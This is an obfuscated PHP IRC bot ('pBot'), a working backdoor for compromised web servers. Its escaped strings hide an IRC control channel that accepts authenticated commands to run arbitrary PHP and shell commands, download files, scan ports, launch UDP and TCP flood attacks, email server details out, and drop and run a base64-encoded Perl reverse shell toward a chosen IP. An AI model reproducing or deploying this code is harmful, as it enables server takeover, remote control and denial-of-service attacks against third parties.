"\x69\x72\143\x2e\145\x76\x6f\143\x68\141\164\x2e\x69\x64", "\160\157\x72\164" => "\x36\x36\66\x37", "\x70\141\163\163" => '', "\x70\x72\x65\146\151\x78" => "\x74\x65\163\164", "\x6d\x61\x78\162\141\x6e\144" => "\63", "\143\150\141\x6e" => "\x23\x64\x6f\144\x6f\x6c\x7a", "\x63\150\141\156\x32" => "\x23\x6d\x75\x61\164", "\153\x65\171" => "\163\x69\141\x70", "\155\x6f\x64\145\x73" => "\53\160\163", "\160\141\x73\x73\x77\x6f\x72\144" => "\60\64\x30\66\x30\x32\64\x38", "\x74\162\x69\x67\147\x65\162" => "\56", "\x68\x6f\x73\164\x61\165\164\150" => "\x2a\56\145\x76\x6f\143\150\x61\x74\x2e\x69\x64"); var $users = array(); function start() { if (!($this->conn = fsockopen($this->config["\x73\145\x72\x76\x65\x72"], $this->config["\x70\157\162\164"], $e, $s, 30))) { $this->start(); } $ident = $this->config["\160\162\x65\146\x69\x78"]; $alph = range("\x30", "\71"); for ($i = 0; $i < $this->config["\155\141\x78\x72\x61\x6e\x64"]; $i++) { $ident .= $alph[rand(0, 9)]; } if (strlen($this->config["\x70\141\163\163"]) > 0) { $this->send("\120\101\x53\123\40" . $this->config["\160\x61\163\163"]); } $this->send("\125\123\x45\x52\40" . $ident . "\x20\x31\x32\67\56\60\x2e\x30\56\61\40\x6c\157\x63\x61\154\150\x6f\x73\164\40\x3a" . php_uname() . ''); $this->set_nick(); $this->main(); } function main() { while (!feof($this->conn)) { $this->buf = trim(fgets($this->conn, 512)); $cmd = explode("\x20", $this->buf); if (substr($this->buf, 0, 6) == "\120\x49\116\107\x20\72") { $this->send("\x50\x4f\116\107\40\72" . substr($this->buf, 6)); } if (isset($cmd[1]) && $cmd[1] == "\60\60\x31") { $this->send("\x4d\117\104\105\40" . $this->nick . "\x20" . $this->config["\x6d\x6f\144\x65\x73"]); $this->join($this->config["\143\150\x61\x6e"], $this->config["\x6b\x65\171"]); if (@ini_get("\163\141\x66\x65\x5f\x6d\157\x64\x65") or strtolower(@ini_get("\x73\141\x66\145\x5f\155\x6f\144\145")) == "\x6f\x6e") { $safemode = "\x6f\x6e"; } else { $safemode = "\x6f\x66\146"; } $uname = php_uname(); $this->privmsg($this->config["\x63\x68\x61\x6e\x32"], "\133\x2\x75\x6e\x61\x6d\x65\41\2\x5d\x3a\40{$uname}\x20\x28\x73\141\x66\145\72\40{$safemode}\x29"); } if (isset($cmd[1]) && $cmd[1] == "\x34\63\x33") { $this->set_nick(); } if ($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf, "\40\72"), 2); $msgcmd = explode("\40", $msg); $nick = explode("\x21", $cmd[0]); $vhost = explode("\x40", $nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0], 1); $host = $cmd[0]; if ($msgcmd[0] == $this->nick) { for ($i = 0; $i < count($msgcmd); $i++) { $mcmd[$i] = $msgcmd[$i + 1]; } } else { for ($i = 0; $i < count($msgcmd); $i++) { $mcmd[$i] = $msgcmd[$i]; } } if (count($cmd) > 2) { switch ($cmd[1]) { case "\121\x55\111\124": if ($this->is_logged_in($host)) { $this->log_out($host); } break; case "\120\101\122\x54": if ($this->is_logged_in($host)) { $this->log_out($host); } break; case "\120\x52\111\126\x4d\x53\107": if (!$this->is_logged_in($host) && ($vhost == $this->config["\x68\x6f\163\164\x61\x75\164\x68"] || $this->config["\x68\x6f\163\164\x61\x75\164\150"] == "\52")) { if (substr($mcmd[0], 0, 1) == "\56") { switch (substr($mcmd[0], 1)) { case "\145\150": if ($mcmd[1] == $this->config["\160\141\163\163\167\x6f\x72\x64"]) { $this->privmsg($this->config["\143\x68\141\x6e"], "\133\x2\101\x75\x74\x68\2\x5d\72\40\101\x57\101\123\123\x53\123\x53\x53\x53\40{$nick}\40{$nick}\40{$nick}\40\114\x4f\107\x49\116\56\56\x2e\56\x2e\56\x2e\56\x2e\56\x2e\56\x21\41\x21\41\41\41\41\x21\x21\x21\x21\x21\x21\x21\41\x21\41\x21\41\41"); $this->log_in($host); } else { $this->privmsg($this->config["\x63\x68\141\156"], "\x5b\2\101\x75\164\x68\x2\x5d\72\40\112\105\115\x42\117\x54\x2e\x2e\x2e\x21\x21\x21\x20{$nick}\x20{$nick}\x20{$nick}\40{$nick}\x20{$nick}\40{$nick}\40\101\x72\x65\160\40\115\141\154\x69\156\x67\x20\x52\x61\x69\155\x75\40\x43\157\153\x2e\x2e\x21\41\41\41"); } break; } } } elseif ($this->is_logged_in($host)) { if (substr($mcmd[0], 0, 1) == "\56") { switch (substr($mcmd[0], 1)) { case "\x72\145\x73\164\141\162\164": $this->send("\x51\125\x49\x54\40\72\x72\145\x73\x74\x61\162\x74\x20\x63\x6f\x6d\155\x61\156\x64\157\x20\x66\x72\x6f\x6d\40{$nick}"); fclose($this->conn); $this->start(); break; case "\155\x61\x69\154": if (count($mcmd) > 4) { $header = "\106\162\x6f\x6d\72\x20\74" . $mcmd[2] . "\x3e"; if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) { $this->privmsg($this->config["\x63\150\141\x6e"], "\133\2\155\x61\x69\x6c\2\x5d\x3a\x20\111\x6d\160\157\163\163\151\166\x65\x6c\40\x6d\x61\156\144\141\162\40\x65\x2d\155\x61\151\x6c\x2e"); } else { $this->privmsg($this->config["\x63\x68\x61\156"], "\133\2\x6d\141\151\x6c\2\x5d\x3a\x20\x4d\145\156\163\x61\x67\x65\155\x20\x65\x6e\166\151\141\x64\x61\40\x70\x61\x72\x61\x20\x2" . $mcmd[1] . "\2"); } } break; case "\163\141\x66\145": if (@ini_get("\163\x61\x66\145\x5f\x6d\x6f\x64\145") or strtolower(@ini_get("\163\x61\x66\x65\137\x6d\x6f\x64\145")) == "\x6f\156") { $safemode = "\x6f\156"; } else { $safemode = "\x6f\146\146"; } $this->privmsg($this->config["\x63\x68\141\x6e"], "\x5b\x2\163\141\146\x65\x20\x6d\x6f\x64\x65\x2\135\72\40" . $safemode . ''); break; case "\151\x6e\x62\x6f\170": if (isset($mcmd[1])) { $token = md5(uniqid(rand(), true)); $header = "\106\x72\157\x6d\72\40\74\x69\x6e\142\x6f\170" . $token . "\100\152\141\164\x69\x6d\x63\157\155\x2e\x63\x6f\153\x3e"; $a = php_uname(); $b = getenv("\x53\105\122\x56\x45\x52\137\x53\117\x46\124\127\101\122\x45"); $c = gethostbyname($_SERVER["\110\x54\x54\x50\x5f\x48\x4f\x53\124"]); if (!mail($mcmd[1], "\x49\x6e\102\157\170\x20\x54\145\x73\164", "\x23\143\162\145\167\100\x6a\141\164\x69\155\x63\157\155\x2e\x20\x73\x69\x6e\143\145\x20\62\x30\x30\x33\12\12\x69\160\72\x20{$c}\x20\12\163\x6f\146\x74\167\141\x72\145\x3a\x20{$b}\40\xa\163\x79\163\164\145\155\72\x20{$a}\x20\12\166\x75\x6c\156\72\x20\x68\164\164\160\x3a\x2f\57" . $_SERVER["\123\105\x52\x56\x45\x52\137\x4e\101\x4d\x45"] . '' . $_SERVER["\x52\x45\121\x55\x45\123\124\137\125\x52\x49"] . "\xa\12\147\x72\145\145\164\172\72\x20\167\151\x63\153\145\144\12\142\x79\x3a\x20\x64\166\x6c\x20\74\x6a\x61\x74\x69\155\56\143\x6f\155\155\x75\x6e\x69\164\171\x40\147\x6d\x61\x69\x6c\x2e\143\157\x6d\x3e", $header)) { $this->privmsg($this->config["\143\x68\141\156"], "\x5b\x2\x69\x6e\x62\157\170\x2\x5d\72\40\x55\x6e\141\x62\154\x65\40\164\157\x20\x73\x65\x6e\x64"); } else { $this->privmsg($this->config["\143\150\141\156"], "\x5b\x2\x69\156\142\157\x78\2\135\x3a\40\x4d\x65\163\163\141\x67\145\40\x73\x65\x6e\164\40\x74\x6f\x20\x2" . $mcmd[1] . "\x2"); } } break; case "\x63\157\x6e\x62\x61\x63\x6b": if (count($mcmd) > 2) { $this->conback($mcmd[1], $mcmd[2]); } break; case "\144\156\x73": if (isset($mcmd[1])) { $ip = explode("\56", $mcmd[1]); if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config["\143\150\x61\156"], "\133\x2\144\x6e\x73\x2\x5d\x3a\x20" . $mcmd[1] . "\40\x3d\x3e\40" . gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config["\143\150\141\156"], "\x5b\2\144\156\x73\x2\x5d\x3a\40" . $mcmd[1] . "\x20\x3d\x3e\x20" . gethostbyname($mcmd[1])); } } break; case "\x69\x6e\146\x6f": case "\x76\x75\156\154": if (@ini_get("\x73\x61\146\x65\x5f\x6d\x6f\x64\x65") or strtolower(@ini_get("\x73\x61\x66\145\x5f\155\x6f\144\x65")) == "\157\156") { $safemode = "\157\x6e"; } else { $safemode = "\x6f\x66\146"; } $uname = php_uname(); $this->privmsg($this->config["\143\x68\x61\x6e"], "\x5b\2\151\156\146\x6f\2\x5d\72\40{$uname}\x20\x28\x73\x61\146\x65\72\x20{$safemode}\51"); $this->privmsg($this->config["\143\150\141\156"], "\133\2\x76\165\154\156\2\x5d\x3a\x20\150\164\164\x70\72\57\x2f" . $_SERVER["\x53\x45\122\126\105\x52\137\x4e\x41\x4d\105"] . '' . $_SERVER["\122\105\121\x55\105\123\124\x5f\125\122\x49"] . ''); break; case "\142\157\164": $this->privmsg($this->config["\143\150\141\x6e"], "\133\x2\x62\157\164\2\135\72\x20\160\x68\160\142\157\164\40\x32\56\x30\x20\x72\145\x63\157\x72\144\151\156\147\40\x62\x79\x20\152\x61\164\151\x6d\143\157\x6d\56"); break; case "\165\156\141\x6d\x65": if (@ini_get("\163\141\x66\x65\137\x6d\157\x64\x65") or strtolower(@ini_get("\x73\x61\146\145\137\155\157\x64\x65")) == "\157\156") { $safemode = "\x6f\x6e"; } else { $safemode = "\157\x66\x66"; } $uname = php_uname(); $this->privmsg($this->config["\143\150\x61\156"], "\x5b\2\x69\x6e\146\x6f\2\x5d\72\40{$uname}\40\50\x73\x61\146\x65\72\40{$safemode}\51"); break; case "\x72\156\x64\156\x69\x63\x6b": $this->set_nick(); break; case "\162\x61\167": $this->send(strstr($msg, $mcmd[1])); break; case "\x65\x76\141\154": $eval = eval(substr(strstr($msg, $mcmd[1]), strlen($mcmd[1]))); break; case "\x73\x65\170\x65\143": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = shell_exec($command); $ret = explode("\xa", $exec); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config["\x63\x68\141\x6e"], "\x20\x20\40\40\x20\40\72\40" . trim($ret[$i])); } } break; case "\145\170\x65\143": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = exec($command); $ret = explode("\12", $exec); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config["\143\150\x61\x6e"], "\x20\40\40\40\x20\x20\72\x20" . trim($ret[$i])); } } break; case "\x70\x61\163\163\x74\x68\162\x75": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = passthru($command); $ret = explode("\xa", $exec); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config["\143\150\141\156"], "\x20\40\40\40\x20\x20\72\40" . trim($ret[$i])); } } break; case "\160\157\160\x65\156": if (isset($mcmd[1])) { $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $this->privmsg($this->config["\143\150\x61\x6e"], "\133\x2\x70\157\160\x65\156\2\x5d\72\40{$command}"); $pipe = popen($command, "\x72"); while (!feof($pipe)) { $pbuf = trim(fgets($pipe, 512)); if ($pbuf != NULL) { $this->privmsg($this->config["\143\150\x61\156"], "\40\x20\40\x20\x20\72\40{$pbuf}"); } } pclose($pipe); } case "\163\x79\x73\x74\145\155": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = system($command); $ret = explode("\xa", $exec); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config["\x63\150\141\x6e"], "\x20\x20\x20\40\40\x20\72\40" . trim($ret[$i])); } } break; case "\x70\163\x63\141\x6e": if (count($mcmd) > 2) { if (fsockopen($mcmd[1], $mcmd[2], $e, $s, 15)) { $this->privmsg($this->config["\x63\x68\x61\x6e"], "\x5b\x2\160\x73\143\x61\156\x2\x5d\x3a\x20" . $mcmd[1] . "\72" . $mcmd[2] . "\x20\x69\x73\40\x2\157\160\x65\x6e\2"); } else { $this->privmsg($this->config["\143\x68\x61\x6e"], "\133\x2\x70\x73\x63\x61\156\x2\x5d\72\40" . $mcmd[1] . "\x3a" . $mcmd[2] . "\x20\x69\x73\40\2\x63\154\x6f\163\145\144\x2"); } } break; case "\144\157\x77\x6e\154\157\141\x64": if (count($mcmd) > 2) { if (!($fp = fopen($mcmd[2], "\x77"))) { $this->privmsg($this->config["\143\150\141\x6e"], "\133\2\x64\x6f\167\x6e\154\157\141\x64\2\135\x3a\40\116\141\x6f\x20\x66\157\151\x20\160\157\x73\163\x69\x76\x65\x6c\40\146\141\172\x65\x72\x20\x6f\40\x64\x6f\167\156\154\x6f\x61\x64\56\x20\120\145\x72\x6d\151\163\163\x61\157\x20\156\x65\147\141\144\141\x2e"); } else { if (!($get = file($mcmd[1]))) { $this->privmsg($this->config["\x63\x68\x61\156"], "\133\2\144\157\167\x6e\154\157\141\x64\2\x5d\x3a\x20\116\x61\x6f\x20\x66\157\x69\40\x70\x6f\x73\x73\x69\x76\x65\154\x20\146\x61\172\145\x72\40\157\40\144\157\x77\x6e\x6c\x6f\141\x64\40\144\x65\x20\2" . $mcmd[1] . "\2"); } else { for ($i = 0; $i <= count($get); $i++) { fwrite($fp, $get[$i]); } $this->privmsg($this->config["\143\150\141\x6e"], "\133\x2\144\157\167\x6e\x6c\157\x61\144\2\x5d\x3a\x20\101\162\161\x75\x69\x76\x6f\40\2" . $mcmd[1] . "\2\x20\142\x61\151\x78\141\x64\157\x20\x70\141\x72\141\40\2" . $mcmd[2] . "\x2"); } fclose($fp); } } else { $this->privmsg($this->config["\x63\x68\141\x6e"], "\x5b\2\x64\x6f\167\x6e\x6c\x6f\x61\x64\2\x5d\72\40\x75\163\145\x20\x2e\144\157\167\156\x6c\x6f\x61\x64\40\150\164\x74\x70\x3a\x2f\57\171\157\165\x72\56\x68\x6f\163\164\57\146\151\x6c\x65\40\57\x74\155\160\x2f\x66\x69\x6c\145"); } break; case "\154\x6f\x67\157\x75\164": $this->log_out($host); $this->privmsg($this->config["\143\x68\x61\156"], "\133\2\141\x75\x74\150\2\135\72\40{$nick}\x20\116\144\x61\156\147\40\x43\145\167\157\x6b\x20\x4c\145\x6b\40\127\145\163\40\115\x61\162\x69\x21\x21\x21\41"); break; case "\x75\144\160\146\x6c\x6f\157\x64": if (count($mcmd) > 3) { $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3]); } break; case "\x74\x63\x70\146\154\x6f\x6f\144": if (count($mcmd) > 5) { $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn, "{$msg}\xd\xa"); } function join($chan, $key = NULL) { $this->send("\x4a\x4f\x49\116\40{$chan}\x20{$key}"); } function privmsg($to, $msg) { $this->send("\120\x52\x49\126\115\123\x47\40{$to}\x20\72{$msg}"); } function notice($to, $msg) { $this->send("\x4e\117\124\111\x43\x45\x20{$to}\40\x3a{$msg}"); } function is_logged_in($host) { if (isset($this->users[$host])) { return 1; } else { return 0; } } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if (isset($_SERVER["\123\105\122\x56\x45\x52\137\x53\117\106\124\127\101\122\105"])) { if (strstr(strtolower($_SERVER["\x53\x45\x52\x56\x45\122\x5f\x53\x4f\106\x54\127\101\122\x45"]), "\141\160\141\143\150\145")) { $this->nick = "\133\x41\x5d"; } elseif (strstr(strtolower($_SERVER["\123\105\122\126\105\x52\x5f\x53\x4f\106\x54\x57\x41\x52\x45"]), "\151\x69\163")) { $this->nick = "\x5b\102\135"; } elseif (strstr(strtolower($_SERVER["\x53\105\x52\x56\105\x52\137\x53\117\x46\124\x57\101\x52\x45"]), "\x78\x69\164\141\x6d\151")) { $this->nick = "\133\103\x5d"; } else { $this->nick = "\x5b\104\x5d"; } } else { $this->nick = "\x5b\x45\135"; } $this->nick .= $this->config["\160\162\145\146\151\x78"]; for ($i = 0; $i < $this->config["\x6d\x61\170\162\x61\x6e\x64"]; $i++) { $this->nick .= mt_rand(0, 9); } $this->send("\x4e\111\103\x4b\x20" . $this->nick); } function udpflood($host, $packetsize, $time) { $this->privmsg($this->config["\143\150\x61\156"], "\x5b\2\125\x64\x70\106\x6c\157\157\x64\x20\x53\164\141\x72\164\145\144\41\2\135"); $packet = ''; for ($i = 0; $i < $packetsize; $i++) { $packet .= chr(mt_rand(1, 256)); } $timei = time(); $i = 0; while (time() - $timei < $time) { $fp = fsockopen("\165\144\160\72\x2f\x2f" . $host, mt_rand(0, 6000), $e, $s, 5); fwrite($fp, $packet); fclose($fp); $i++; } $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config["\143\x68\141\156"], "\133\x2\x55\144\160\106\154\x6f\157\144\x20\106\151\156\151\163\150\x65\144\41\x2\135\72\40{$env}\x20\115\x42\40\x65\x6e\166\151\141\x64\x6f\x73\40\x2f\x20\x4d\x65\x64\x69\141\x3a\x20{$vel}\x20\x4d\x42\x2f\163\40"); } function tcpflood($host, $packets, $packetsize, $port, $delay) { $this->privmsg($this->config["\143\150\x61\156"], "\x5b\2\124\x63\160\x46\154\157\x6f\x64\40\123\164\141\162\x74\145\x64\x21\2\x5d"); $packet = ''; for ($i = 0; $i < $packetsize; $i++) { $packet .= chr(mt_rand(1, 256)); } for ($i = 0; $i < $packets; $i++) { if (!($fp = fsockopen("\164\143\x70\72\57\57" . $host, $port, $e, $s, 5))) { $this->privmsg($this->config["\143\150\141\156"], "\x5b\2\x54\x63\x70\106\x6c\x6f\x6f\144\x2\x5d\72\40\105\162\x72\x6f\162\72\x20\x3c{$e}\x3e"); return 0; } else { fwrite($fp, $packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config["\143\150\141\x6e"], "\x5b\2\124\143\x70\106\154\x6f\157\x64\40\106\151\156\x69\163\150\x65\144\41\2\135\72\40\x43\157\x6e\146\x69\x67\40\x2d\40{$packets}\x20\x70\141\x63\x6f\164\x65\163\x20\160\x61\162\141\x20{$host}\72{$port}\x2e"); } function conback($ip, $port) { $this->privmsg($this->config["\143\x68\x61\156"], "\x5b\2\143\x6f\x6e\142\x61\x63\153\2\x5d\x3a\40\164\145\x6e\164\x61\x6e\144\157\x20\x63\x6f\156\145\x63\164\x61\156\144\x6f\x20\x61\x20{$ip}\72{$port}"); $dc_source = "\x49\171\x45\166\144\130\x4e\x79\x4c\x32\112\160\x62\x69\71\x77\132\130\112\163\x44\x51\x70\x31\143\x32\125\147\x55\62\x39\152\x61\62\126\x30\x4f\167\60\x4b\x63\110\x4a\x70\142\156\x51\147\111\153\x52\x68\x64\107\105\x67\121\x32\x68\x68\115\x48\x4d\147\x51\62\71\x75\142\155\x56\x6a\144\103\x42\103\x59\x57\116\x72\x49\x45\x4a\150\131\x32\x74\153\x62\x32\x39\x79\130\107\x35\143\x62\x69\x49\67\x44\x51\x70\160\132\151\101\x6f\x49\x53\122\102\x55\x6b\144\127\x57\172\102\144\113\123\102\67\104\x51\x6f\147\x49\110\102\x79\141\x57\65\x30\x5a\151\101\151\x56\130\x4e\x68\132\62\125\66\111\103\x51\x77\x49\106\x74\x49\x62\63\116\x30\x58\123\x41\x38\125\107\x39\x79\x64\x44\x35\x63\x62\151\111\67\104\x51\x6f\x67\111\107\x56\64\x61\130\x51\157\x4d\123\x6b\67\104\x51\160\x39\104\121\x70\167\143\x6d\154\165\144\103\x41\151\127\x79\160\x64\111\x45\x52\x31\x62\x58\102\x70\142\x6d\143\147\x51\130\x4a\x6e\x64\127\61\154\142\x6e\122\x7a\x58\x47\64\x69\117\x77\x30\x4b\x4a\107\150\166\x63\x33\121\147\120\123\101\153\x51\126\112\x48\x56\154\x73\x77\130\124\163\116\x43\x69\122\167\x62\63\112\60\111\x44\x30\x67\117\104\x41\x37\x44\x51\160\x70\x5a\x69\x41\157\x4a\105\106\123\x52\x31\132\x62\115\126\60\160\111\x48\x73\x4e\x43\151\101\147\x4a\x48\102\x76\x63\156\x51\x67\x50\123\101\x6b\121\126\x4a\110\126\x6c\x73\x78\x58\x54\x73\x4e\x43\156\60\x4e\103\156\102\171\141\x57\x35\60\111\x43\x4a\142\x4b\x6c\x30\147\121\x32\71\x75\142\x6d\126\x6a\x64\x47\x6c\165\x5a\x79\x34\165\x4c\154\x78\x75\111\152\163\116\x43\151\x52\167\x63\155\71\x30\x62\x79\x41\x39\111\107\x64\x6c\144\110\102\171\142\x33\x52\x76\x59\156\154\x75\x59\x57\61\x6c\113\103\144\60\131\x33\101\156\x4b\123\x42\70\x66\x43\x42\x6b\141\x57\125\157\111\154\126\x75\x61\x32\x35\166\x64\62\x34\x67\125\110\112\166\x64\107\71\152\x62\x32\170\x63\142\151\x49\160\x4f\167\x30\x4b\x63\62\x39\x6a\141\62\126\x30\113\106\116\106\125\x6c\132\106\125\x69\167\x67\125\x45\x5a\x66\123\x55\x35\x46\126\103\x77\x67\125\x30\x39\x44\x53\61\71\x54\126\x46\112\x46\x51\125\60\x73\111\x43\122\167\143\x6d\71\x30\142\x79\x6b\147\x66\x48\167\147\132\x47\154\154\111\x43\147\x69\x55\62\x39\152\x61\62\x56\x30\x49\105\x56\171\143\x6d\71\171\130\x47\x34\x69\x4b\x54\163\116\x43\x6d\x31\65\x49\x43\x52\x30\x59\130\x4a\x6e\132\x58\121\147\120\x53\x42\160\142\x6d\x56\x30\130\x32\x46\x30\x62\x32\x34\x6f\112\x47\x68\x76\143\x33\121\160\117\167\x30\113\141\x57\x59\147\x4b\103\x46\152\142\62\65\165\x5a\127\116\60\113\x46\116\x46\125\154\x5a\x46\125\x69\167\x67\143\107\106\x6a\x61\x79\101\x69\125\62\x35\102\116\110\147\64\111\151\167\x67\115\x69\167\x67\x4a\x48\x42\166\143\156\121\x73\111\103\122\60\131\x58\x4a\156\x5a\130\x51\x70\113\123\102\67\x44\x51\157\147\111\107\x52\x70\132\x53\x67\x69\126\x57\x35\x68\131\x6d\x78\154\111\110\122\x76\111\105\x4e\x76\x62\155\x35\x6c\x59\x33\x52\x63\x62\151\111\x70\x4f\167\x30\x4b\x66\121\x30\x4b\x63\110\112\160\x62\x6e\x51\x67\111\154\x73\161\130\x53\102\124\143\x47\106\x33\x62\x6d\154\x75\x5a\171\102\124\x61\x47\126\163\x62\x46\170\165\111\152\163\x4e\x43\155\x6c\x6d\x49\x43\147\150\x5a\x6d\x39\171\x61\171\x67\147\113\x53\x6b\147\x65\167\x30\113\111\103\102\x76\143\x47\126\x75\x4b\106\116\125\x52\x45\x6c\117\114\103\111\53\112\154\116\x46\x55\x6c\x5a\x46\125\151\111\x70\x4f\x77\60\113\x49\103\102\x76\x63\107\126\165\113\106\116\125\x52\105\71\x56\126\x43\167\151\x50\151\x5a\x54\x52\126\x4a\127\122\x56\111\151\113\124\163\116\103\151\x41\x67\142\63\102\x6c\x62\x69\x68\124\x56\x45\122\106\x55\154\111\x73\x49\x6a\64\155\125\60\126\123\126\x6b\x56\123\111\151\153\x37\x44\x51\157\x67\111\107\126\64\132\127\115\x67\145\x79\x63\x76\131\155\154\x75\x4c\63\116\x6f\x4a\63\60\147\112\x79\61\x69\x59\130\116\157\112\171\x41\165\111\103\112\x63\x4d\103\111\x67\145\103\x41\x30\x4f\x77\x30\113\111\103\x42\154\x65\x47\154\x30\113\x44\x41\160\x4f\x77\60\113\146\121\60\113\x63\x48\112\160\x62\x6e\x51\x67\x49\x6c\x73\x71\130\x53\x42\x45\x59\x58\122\150\x59\x32\150\154\x5a\x46\170\165\x58\x47\64\x69\117\167\x3d\75"; if (is_writable("\57\x74\155\x70")) { if (file_exists("\57\164\x6d\160\x2f\144\143\56\x70\154")) { unlink("\57\164\155\x70\57\144\143\x2e\x70\x6c"); } $fp = fopen("\57\164\x6d\x70\x2f\x64\143\x2e\x70\x6c", "\167"); fwrite($fp, base64_decode($dc_source)); passthru("\x70\145\x72\x6c\x20\x2f\164\x6d\160\x2f\144\143\x2e\160\154\40{$ip}\x20{$port}\x20\46"); unlink("\x2f\164\x6d\160\x2f\144\x63\56\x70\154"); } else { if (is_writable("\57\166\141\162\x2f\164\x6d\x70")) { if (file_exists("\57\166\x61\x72\57\164\x6d\160\x2f\144\x63\x2e\x70\154")) { unlink("\x2f\x76\141\x72\x2f\x74\155\160\57\x64\143\x2e\160\154"); } $fp = fopen("\x2f\x76\x61\162\x2f\164\155\160\x2f\144\x63\x2e\160\154", "\x77"); fwrite($fp, base64_decode($dc_source)); passthru("\160\x65\162\154\40\57\166\x61\x72\57\x74\x6d\160\57\x64\x63\56\x70\154\40{$ip}\40{$port}\40\46"); unlink("\x2f\x76\x61\x72\57\164\x6d\160\x2f\144\143\x2e\160\154"); } if (is_writable("\56")) { if (file_exists("\144\143\56\x70\x6c")) { unlink("\144\x63\x2e\x70\x6c"); } $fp = fopen("\144\143\56\160\x6c", "\167"); fwrite($fp, base64_decode($dc_source)); passthru("\x70\x65\162\x6c\x20\x64\143\56\x70\x6c\40{$ip}\40{$port}\40\x26"); unlink("\144\x63\x2e\x70\x6c"); } } } } goto gn5ZZ; gn5ZZ: $bot = new pBot(); goto JGU1k; JGU1k: $bot->start(); goto nlg7n; Vey8H: error_reporting(0); goto kh2cq; nlg7n: ?>